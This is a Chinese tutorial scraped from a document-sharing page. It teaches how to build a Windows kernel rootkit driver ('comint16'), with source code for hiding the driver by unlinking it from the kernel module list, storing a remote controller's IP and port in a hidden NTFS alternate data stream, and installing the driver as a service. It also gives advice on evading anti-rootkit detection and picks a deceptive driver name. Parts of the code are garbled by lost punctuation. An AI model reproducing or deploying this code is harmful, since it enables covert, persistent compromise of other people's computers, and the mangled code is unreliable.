




已阅读5页,还剩13页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
Rootkit隐形技术教程作者:佚名 来源:转载 版权:原作者 发布时间:2008-8-24 11:50:34 共阅读 257 次 【字体:小 大】一、综述 本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。 本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。 二、rootkit主体 本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级它们运行于Ring0,有权访问系统中的所有代码和数据。还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。 我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示: /Invisible.h:我们rootkit的头文件 #ifndef _INVISIBLE_H_ #define _INVISIBLE_H_ typedef BOOLEAN BOOL; typedef unsigned long DWORD; typedef DWORD* PDWORD; typedef unsigned long ULONG; typedef unsigned short WORD; typedef unsigned char BYTE; typedef struct _DRIVER_DATA LIST_ENTRY listEntry; DWORD unknown1; DWORD unknown2; DWORD unknown3; DWORD unknown4; DWORD unknown5; DWORD unknown6; DWORD unknown7; UNICODE_STRING path; UNICODE_STRING name; DRIVER_DATA; #endif 我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。 这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。此外,DRIVER_DATA是Windows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。 上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示: / Invisible #include ntddk.h #include Invisible.h #include fileManager.h #include configManager.h / 全局变量 ULONG majorVersion; ULONG minorVersion; /当进行free build时,将其注释掉,以防被检测到 VOID OnUnload( IN PDRIVER_OBJECT pDriverObject ) DbgPrint(comint16: OnUnload called.); NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath ) DRIVER_DATA* driverData; /取得操作系统的版本 PsGetVersion( &majorVersion, &minorVersion, NULL, NULL ); / Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95 / Major = 5: Windows Server 2003, Windows XP 或 Windows 2000 / Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95 / Minor = 1: Windows XP / Minor = 2: Windows Server 2003 if ( majorVersion = 5 & minorVersion = 2 ) DbgPrint(comint16: Running on Windows 2003); else if ( majorVersion = 5 & minorVersion = 1 ) DbgPrint(comint16: Running on Windows XP); else if ( majorVersion = 5 & minorVersion = 0 ) DbgPrint(comint16: Running on Windows 2000); else if ( majorVersion = 4 & minorVersion = 0 ) DbgPrint(comint16: Running on Windows NT 4.0); else DbgPrint(comint16: Running on unknown system); / 隐藏该驱动程序 driverData = *(DRIVER_DATA*)(DWORD)pDriverObject + 20); if( driverData != NULL ) / 将本驱动程序的相应目录项从项驱动程序目录中拆下来 *(PDWORD)driverData-listEntry.Blink) = (DWORD)driverData-listEntry.Flink; driverData-listEntry.Flink-Blink = driverData-listEntry.Blink; / 允许卸载本驱动程序 pDriverObject-DriverUnload = OnUnload; / 为本Rootkit的控制器配置连接 if( !NT_SUCCESS( Configure() ) ) DbgPrint(comint16: Could not configure remote connection.n); return STATUS_UNSUCCESSFUL; return STATUS_SUCCESS; Invisible.c是该rootkit的主体结构,其中包括入口函数DriverEntry和卸载函数OnUnload。操作系统加载该驱动程序时将调用入口函数。我们看到,在传递给入口函数的参数中有一个是DRIVER_OBJECT,它的作用是给出跟该驱动程序通信时所调用的函数的映射表。就本例而言,我们仅仅映射了一个函数pDriverObject-DriverUnload,这样以来,当卸载驱动程序时,操作系统调用onunload函数就可行了。需要特别说明的是,这一点在rootkit开发过程中特别实用,不用重启系统就可以卸载驱动程序,但是它却带来了一个大问题:容易被发现,所以在隐蔽性要求较高时不能使用,我们已经在源代码的相应部分给出了注释。 下面我们看一下该rootkit如何实现隐形。我们将隐藏设备驱动程序的代码摘录如下: / 隐藏该驱动程序 driverData = *(DRIVER_DATA*)(DWORD)pDriverObject + 20); if( driverData != NULL ) / 将本驱动程序的相应目录项从项驱动程序目录中拆下来 *(PDWORD)driverData-listEntry.Blink) = (DWORD)driverData-listEntry.Flink; driverData-listEntry.Flink-Blink = driverData-listEntry.Blink; 为了达到不让操作系统找到我们的rootkit设备驱动程序的目的,这段代码修改了系统内核中的一个内部数据结构。系统中有一个双向链表,专门记录当前运行着的驱动程序,也就是说每个运行的驱动程序在该链表中都有一个对应的表项。像drivers.exe之类的应用程序,正是通过该链表来获取设备驱动程序信息的,换句话说,如果从该链表中摘除本rootkit对应的表项,就能隐藏该rootkit的存在,从而躲过大多数的检测。具体如下图所示: javascript:if(this.width500)this.width=500 border=0 图1 修改前的驱动程序链表 javascript:if(this.width500)this.width=500 border=0 图2 修改后的驱动程序链表 细心的读者也许会问:能藏起来固然是好,不过系统若仅通过该链表来感知驱动程序的存在的话,我们的这样做岂不是自己把rootkit给干掉了?!的幸运的是,Windows操作系统的内核使用另一个表来给各运行中的驱动程序分配时间,所以,即使从设备驱动程序列表清除rootkit相应的表项,我们的rootkit也照样活得很自在。 利用该技术隐匿rootkit时,必须注意一点:如果已在我们的rootkit之前安装了anti-rootkit软件,“清除一个设备驱动程序表项”这一行为本身有可能被发觉,从而引起人们的注意。读者会问:这该怎么办呢?答案是,先记下本rootkit所对应的设备驱动程序表项的地址,然后钩住钩住检查设备驱动程序链表的内核函数,当这个函数要检查该链表时,我们就有机会提前把保存的表项放回到设备驱动程序链表。当检查过后,再将该表项摘除。这样,在rootkit检测程序看来,没有人在设备驱动程序链表做手脚:反Rootkit软件被我们忽悠了。不过该技术较为复杂,超出了本文的讨论范围,有机会我们会专文讲解。 您可能已经注意到,在Invisible.c中很多地方都使用了调试语句。事实上,DbgPrint语句基本上可以在rootkit中随意放置。在本例中,我们使用DbgPrint语句用来监视驱动程序的装卸和错误状态。不过该语句的输出不会直接显示到标准输出设备即显示器上,只有在DebugView程序的帮助下,我们才可以查看这些语句的输出。除DebugView程序外,内核程序调试工具也可以达此目的。另外,我们的调试语句还有一个特点,它们都以comint 32开头,这样做一方面是用以区别其他程序的调试语句的输出。 另一方面利用comint 32这个词是为了掩人耳目,因为这个词很难让人跟rootkit联系到一块。 三、配置管理器 我们的rootkit主体已经建好,不过要想让它干活,还得做些必要的配置。比如,如果需要对其进行远程控制的话,就需要配置相应的连接。所以,我们还需要一个配置管理器,来完成配置rootkit的工作。下面是Rootkit配置管理器的头文件: / configManager.h / 配置管理器的头文件 #ifndef _CONFIG_MANAGER_H_ #define _CONFIG_MANAGER_H_ Char masterPort10; Char masterAddress14; Char masterAddress24; Char masterAddress34; Char masterAddress44; NTSTATUS Configure(); #endif 我们的头文件configManager.h比较简单,前面部分定义的数据结构用于控制端的通信地址和通信端口。最后声明了一个函数。接下来,我们看一下配置管理器的源代码: / configManager.c / 首先从c:config16寻找配置文件 / If its there, save as MASTER_FILE:config16 and delete c:config16 / If its not there, try MASTER_FILE:configFile / If that doesnt exist, quit! #include ntddk.h #include fileManager.h #include configManager.h / Set the controllers IP and port NTSTATUS Configure() CHAR data21; SHORT vis = 0; SHORT loop; SHORT dataIndex; SHORT addressIndex; ULONG fileSize; PHANDLE fileHandle; /了解读哪个文件 if( NT_SUCCESS( GetFile( L?C:config16, data, 21, &fileSize ) ) ) DbgPrint(comint16: Reading config from visible file.); vis = 1; else if( NT_SUCCESS( GetFile( Lconfig16, data, 21, &fileSize ) ) ) DbgPrint(comint16: Reading config from hidden file.); else DbgPrint(comint16: Error. Could not find a config file.); return STATUS_UNSUCCESSFUL; /将控制端地址和端口转换成aaa.bbb.ccc.ddd:eeeee格式 dataIndex = 0; addressIndex = 0; / First 3 are xxx of xxx.111.111.111:11111 for( loop = 0; loop 3; loop+ ) masterAddress1addressIndex+ = datadataIndex+; masterAddress1addressIndex = 0; addressIndex = 0; /复位 dataIndex+; /跳过点号“.” /接下来是111.xxx.111.111:11111中的xxx for( loop = 0; loop 3; loop+ ) masterAddress2addressIndex+ = datadataIndex+; masterAddress2addressIndex = 0; addressIndex = 0; /复位 dataIndex+; /跳过点号“.” /然后处理111.111.xxx.111:11111中的xxx for( loop = 0; loop 3; loop+ ) masterAddress3addressIndex+ = datadataIndex+; masterAddress3addressIndex = 0; addressIndex = 0; /复位 dataIndex+; /跳过点号“.” /然后处理111.111.111.xxx:11111中的xxx for( loop = 0; loop 3; loop+ ) masterAddress4addressIndex+ = datadataIndex+; masterAddress4addressIndex = 0; addressIndex = 0; /复位 dataIndex+; /跳过冒号“:” /接下来的五位数是11:xxxxx中的端口号xxxxx for( loop = 0; loop test.txt:alternate.txt 该命令给test.txt文件添加一个交换数据流,该数据流的名称为test.txt:alternate.txt,内容为nihao。如果用dir命令来检查的话,我们只看到test.txt文件,并且其大小依旧不变。不过,我们在DOS提示符下键入以下命令 notepad test.txt:alternate.txt 就能看到交换数据流的内容了。这个实验并不复杂,建议读者动手做一下。需要说明的是,它不适用于FAT文件系统,在NTFS文件系统下才奏效。 好了,现在看看我们需要隐藏的配置的具体格式,如下所示: XXX.XXX.XXX.XXX:YYYYY 其中,XXX.XXX.XXX.XXX代表控制端的IP地址,由十二个阿拉伯数字组成;YYYYY表示控制端所侦听的端口号,由五位阿拉伯数字组成。该配置最初存放在文件c:config16中,一旦rootkit运行一次之后,它读取该配置,将其挂靠到目录C:WINDOWSResources上以交换数据流文件(C:WINDOWSResources:config16)的形式存放,并将原来的文件c:config16删除。也就是说,以rootkit初次运行为分水岭,之前,配置位于c:config16文件中;之后,位于C:WINDOWSResources:config16文件中。同样,以rootkit初次运行为分水岭,第一次运行时,rootkit从c:config16文件读取配置;之后,从C:WINDOWSResources:config16文件中读取配置。 至于数据流所挂靠的目录,如C:WINDOWS Resources 在fileManager.h文件中加以定义。虽然使用硬编码的路径即在代码中直接给出目录名如C:WINDOWS比较直接,但是需要考虑健壮性的时候,在给rootkit指定隐藏文件的位置时,通过操作系统来查找%WINDOWS%目录更为稳妥。 上面介绍了配置文件的格式和对配置文件的处理,不过具体工作都是由软件代劳的。完成这部分工作的软件我们称其为文件管理器。这里是我们的文件管理器的头文件,源代码如下所示: /fileManager.h #ifndef _FILE_MANAGER_H_ #define _FILE_MANAGER_H_ /尽管微软的文档没有提及,但是NTFS-ADS还能用于目录。 /为了防止rootkit被一网打尽,黑客通常不会一个目录用到底,而是打一枪换一个地方 #define MASTER_FILE L?C:WINDOWSResources NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG fileSizePtr ); NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize ); #endif FileManager.h文件中,我们将交换数据流的位置定义为MASTER_FILE ,同时声明了两个函数GetFile 和PutFile,这两个函数会在上面的configManager.c中用过,并且在下面对配置文件实现隐形的代码中也大有可为: / fileManager.c / 向MASTER_FILE存放交换数据流或者从MASTER_FILE取出交换数据流时,无需路径 / 与之相反,向可见的文件系统存放交换数据流或者从可见的文件系统取出交换数据 流时,需用绝对路径 #include ntddk.h #include #include fileManager.h #include Invisible.h NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG fileSizePtr ) NTSTATUS rc; WCHAR ADSName256; HANDLE hStream; OBJECT_ATTRIBUTES ObjectAttr; UNICODE_STRING FileName; IO_STATUS_BLOCK ioStatusBlock; CHAR string256; / 设置文件尺寸 *fileSizePtr = 0; / 如果不是绝对路径,从NTFS-ADS中读 if( wcschr( filename, ) = NULL ) _snwprintf( ADSName, 255, L%s:%s, MASTER_FILE, filename ); else wcscpy( ADSName, filename ); RtlInitUnicodeString( &FileName, ADSName ); InitializeObjectAttributes( &ObjectAttr, &FileName, OBJ_CASE_INSENSITIVE, NULL, NULL); rc = ZwOpenFile( &hStream, SYNCHRONIZE | GENERIC_ALL, &ObjectAttr, &ioStatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT ); if ( rc != STATUS_SUCCESS ) DbgPrint( comint16: GetFile() ZwOpenFile() failed.n ); _snprintf( string, 255, comint16: rc = %0x, status = %0xn, rc, ioStatusBlock.Status ); DbgPrint( string ); return( STATUS_UNSUCCESSFUL ); rc = ZwReadFile( hStream, NULL, NULL, NULL, &ioStatusBlock, buffer, buffersize, NULL, NULL ); if ( rc != STATUS_SUCCESS ) DbgPrint( comint16: GetFile() ZwReadFile() failed.n ); _snprintf( string, 255, comint16: rc = %0x, status = %0xn, rc, ioStatusBlock.Status ); DbgPrint( string ); return( STATUS_UNSUCCESSFUL ); /成功读取后,返回读取的字节数量 *fileSizePtr = ioStatusBlock.Information; ZwClose( hStream ); return( STATUS_SUCCESS ); NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize ) NTSTATUS rc; WCHAR ADSName256; HANDLE hStream; OBJECT_ATTRIBUTES ObjectAttr; UNICODE_STRING FileName; IO_STATUS_BLOCK ioStatusBlock; CHAR string256; /如果不是绝对路径,交给NTFS-ADS if( wcschr( filename, ) = NULL ) _snwprintf( ADSName, 255, L%s:%s, MASTER_FILE, filename ); else wcscpy( ADSName, filename ); RtlInitUnicodeString( &FileName, ADSName ); InitializeObjectAttributes( &ObjectAttr, &FileName, OBJ_CASE_INSENSITIVE, NULL, NULL); rc = ZwCreateFile( &hStream, SYNCHRONIZE | GENERIC_ALL, &ObjectAttr, &ioStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if ( rc != STATUS_SUCCESS ) DbgPrint( comint16: PutFile() ZwCreateFile() failed.n ); _snprintf( string, 255, comint16: rc = %0x, status = %0xn, rc, ioStatusBlock.Status ); DbgPrint( string ); return( STATUS_UNSUCCESSFUL ); rc = ZwWriteFile( hStream, NULL, NULL, NULL, &ioStatusBlock, buffer, buffersize, NULL, NULL ); if ( rc != STATUS_SUCCESS ) DbgPrint( comint16: PutFile() ZwWriteFile() failed.n ); _snprintf( string, 255, comint16: rc = %0x, status = %0xn, rc, ioStatusBlock.Status ); DbgPrint( string ); ZwClose( hStream ); return( STATUS_UNSUCCESSFUL ); ZwClose( hStream ); return( STATUS_SUCCESS ); 在FileManager.c文件中,定义了GetFile 和PutFile两个函数。需要注意的是,这两个函数都是使用的宽字符串。这是因为目前Windows操作系统用的都是宽字符,既然跟操作系统打交道的话,我们自然要入乡随俗了。还有一个问题需要注意,宽字符串在使用时,必须先初始化,然后才能使用,我们用RtlInitUnicodeString函数初始化宽字符串。 ZwOpenFile类似于用户模式SDK中的函数OpenFile,只不过前者用于内核模式。前面说过,我们的rootkit是一个内核模式设备驱动程序,因为在内核模式下运行,只能用内核模式下的函数ZwOpenFile来打开文件。ZwOpenFile函数名中的前缀“Zw”表示这是与文件操作有关的函数。 GetFile主要由ZwOpenFile、ZwReadFile和ZwClose三个函数组成;PutFile主要由ZwCreateFile 、ZwWriteFile 和ZwClose 三个函数组成。 当我们利用DDK编译程序时,除了源代码外,还需要另外两个文件:一个SOURCES 文件和一个MAKEFILE。DDK通过这些文件确定要编译哪些文件,如何编译,编译后所得目标文件如何命名等。就本例而言,需要编译的源文件是Invisible.c、fileManager.c和configManager.c;将其编译成驱动程序;驱动程序名为comint16。这里是SOURCES文件内容: TARGETNAME=comint16 TARGETPATH=OBJ TARGETTYPE=DRIVER SOURCES=Invisible.c fileManager.c configManager.c 进行不同的编译时,SOURCES文件会随之变化。但是MAKEFILE将保持不变,其内容如下所示: # #千万别改它! # !INCLUDE $(NTMAKEENV)makefile.def 好了,忙活了半天了,现在是编译我们的程序的时候了:从DDK中单击checked-build environment,在打开的命令窗口中切换至源代码所在目录,输入命令build,剩下事情就由DDK替我们代劳了。如果一切顺利,我们将得到一些新文件,其中一个是commint32.sys,它就是我们的rootkit,它实际上是个设备驱动程序。 现在,rootkit已经到手,现在是考虑安装问题的时候了。 五、rootkit的安装 对于应用程序来说,加载和执行是同时进行的;与此不同,设备驱动程序的加载和启动是截然不同的两个步骤。这种分步处理的方式,使得驱动程序可以在操作系统引导过程中就提前载入,但直至将来需要时才启动它们有时候倒有些“起个大早,赶个晚集”的意味。如果需要,我们还可以利用注册表项让系统每次引导时都加载指定的驱动程序,甚而启动它们。 虽然现实中的rootkit在引导过程中装入就不再卸载,但在设备驱动程序开发过程中,利用能够随时装卸rootkit的“请求式启动”加载技术能带来极大的便利。这样的话,不必重新引导系统就可以重复终止、卸载、重新编译、重装入和重启动驱动程序。就本例而言,SCMLoader程序利用服务控制管理器将comint16.sys装入内核空间;可以利用“net start MyDeviceDriver”命令启动该驱动程序,也可以利用“net stop MyDeviceDriver”命令停止该驱动程序的运行;最后,SCMUnloader程序利用服务控制管理器将comint16.sys从内核空间卸载。 为简单起见,我们使用一个小巧的可执行文件来安装rootkit。该程序只需要打开服务控制管理器,然后加载一个内核设备驱动程序就可以了。 /SCMLoader.c /本程序用于加载c:comint16.sys #include #include #include void main( int argc, char *argv ) SC_HANDLE sh1; SC_HANDLE sh2; sh1 = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); if ( !sh1 ) printf( OpenSCManager Failed!n ); return; sh2 = CreateService( sh1, MyDeviceDriver, MyDeviceDriver, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, c:comint16.sys, NULL, NULL, NULL, NULL, NULL ); if ( !sh2 ) if ( GetLastError() = ERROR_SERVICE_EXISTS ) printf(DeviceDriver already loaded!n); else printf(CreateService Failed!n); else printf(nDriver loaded!n); 在了解内核模式编程之后,是不是觉得这个“用户模式”程序看起来简单多了。因为我们能将驱动程序的位置作为传递参数自由添加,所以就不必为每个新rootkit都重新编译此安装工具了。简单是更重要的,鉴于此,我们将rootkit的名字硬编码进该程序。 如果你具有可用的编译环境,你可以打开命令提示符窗口,然后在此窗口中编译SCMLoader。一旦配置好了开发环境,导航至存放SCMLoader.c的目录,键入下列命令就可SCMLoader以开始编译: cl -nologo -W3 -O2 SCMLoader.c /link /NOLOGO user32.lib advapi32.lib 如果以上命令未能成功编译SCMLoader.exe,那么你可能需要调整您的开发环境。大多数的开发环境问题可以通过VCVARS32.BAT加以解决。如果在您的C/C+编译程序安装目录(通常位于C:Program Files)下搜索的话,你会发现一个VCVARS32.BAT文件。这个文件用来配置某个编译程序的命令提示符窗口。如果将该文件复制到你的rootkit目录,并于编译之前执行该文件的话,大部分编译程序的问题都会迎刃而解。 如果运行VCVARS32.BAT后问题依旧,或您没有找到该文件,那么您就得逐个查看编译和连接错误来确定问题到底出在哪里。以“Cant find”打头的错误可能牵扯到全局性的LIB和INCLUDE环境变量(例如, “Cant find xxx.lib = LIB”和“Can t find xxx.h=INCLUDE ”。您可以在C/C+编译程序的安装目录中搜寻未找到的文件,一旦发现,修改环境变量(LIB 和INCLUDE )以包含这些文件的所在路径。 要修改环境变量,左键单击屏幕左下角的“开始”按钮,然后从弹出菜单中右键单击“我的电脑”,在弹出列表中选取“属性”。在“属性”对话框中,选择“高级”选项卡,然后选择该选项卡中的“环境变量”按钮。你会发现,LIB和INCLUDE这两个变量位于用户变量或者系统变量中。要修改环境变量,双击它,然后加入找到的文件的所在路径。一定记住,所有路径条目都要用分号隔开。添加好所有路径之后,单击“确定”按钮关闭窗口,并保存新设置。要使改变生效,必须将所有已打开的命令提示符窗口关闭,然后再打开方可。成功编译一回后,可以把编译命令放到一个批处理文件中,如buildSCMLoader.bat。 经过以上几步后,你也许已经注意到在加载rootkit之前还有一步要做:你必须建立一个配置文件。当然,除了将其藏在一个交换数据流中之外,rootkit根本就没有用到什么配置,但是对于加载来说这一项是必需的。 您可以从DOS命令提示符窗口中用命令“echo 123.456.789.012:01234 c:config16”来创建所需的配置文件。或者使用您自己IP地址和80端口(例如, 127.000.000.001:00080)为跟踪rootkits做好准备。无论如何,格式必须一致。当前的Invisible还不能处理诸如“:80”之类的非格式化IP/端口字符串。装载程序编译好,并且建立了配置文件之后,要做的全部就是把该rootkit移至c:comint16.sys,运行SCMLoader,用命令“net start MyDeviceDriver”启动我们的rootkit。如果一切正常的话,我们会看到输出“Driver loaded!”。若已打开DebugView,你还会看到来自于rootkit即comint16的调试命令。 很好!现在,您自己的rootkit已经装入并运行起来了。 加载器SCMLoader创建了一个注册表项,从而使您的rootkit会在系统下次引导时再次被加载。幸运的是,rootkit用“按需启动”选项进行初始化,所以它不会立即启动。相反,只有键入“net start MyDeviceDriver ”命令后,该rootkit才会启动。您可以通过删除文件c:comint16.sys或者通过删除注册表键HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMyDeviceDriverMyDeviceDriver来停止加载该rootkit。然而,你可能不想每次修改该rootkit之后都要删除文件或者注册表项然后重新引导系统,为此你还需要一个卸载程序。以下代码和对应的编译命令可用于建立一个SCMUnloader。SCMLoader、SCMUnloader程序以及“net start MyDeviceDriver”、“net stop MyDeviceDriver
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 内波对浮游生物垂直迁移影响-洞察及研究
- 中药材购销员作业指导书
- 医疗机构安全生产责任书(医疗安全防护)
- 离心铸管工晋升考核试卷及答案
- 集体林地承包经营权流转与林业生态补偿机制实施合同
- 白酒制曲工作业指导书
- 环保产业项目建议书编制与循环经济合同
- 2025年电梯责任保险行业研究报告及未来行业发展趋势预测
- 智能化聚乙烯管道系统设计、施工及维护合同
- 钢水罐准备工专业技能考核试卷及答案
- 国际投资学(investment)讲义课件
- 施工机具进场检查验收记录
- 二年级健康成长上册教案
- 民俗学概论 第一章 概述课件
- 时代邻里4度°服务美学品质关怀体系
- 供水公司主要安全风险公告栏(总)
- 《农产品贮藏与加工》课件第三章稻谷精深加工
- 外研版五年级上册英语(全册)单元教材分析
- 【课件】音响的感知课件-高中音乐湘教版(2019)音乐鉴赏
- 华为-计划、预算和核算
- 膝关节置换术的护理
评论
0/150
提交评论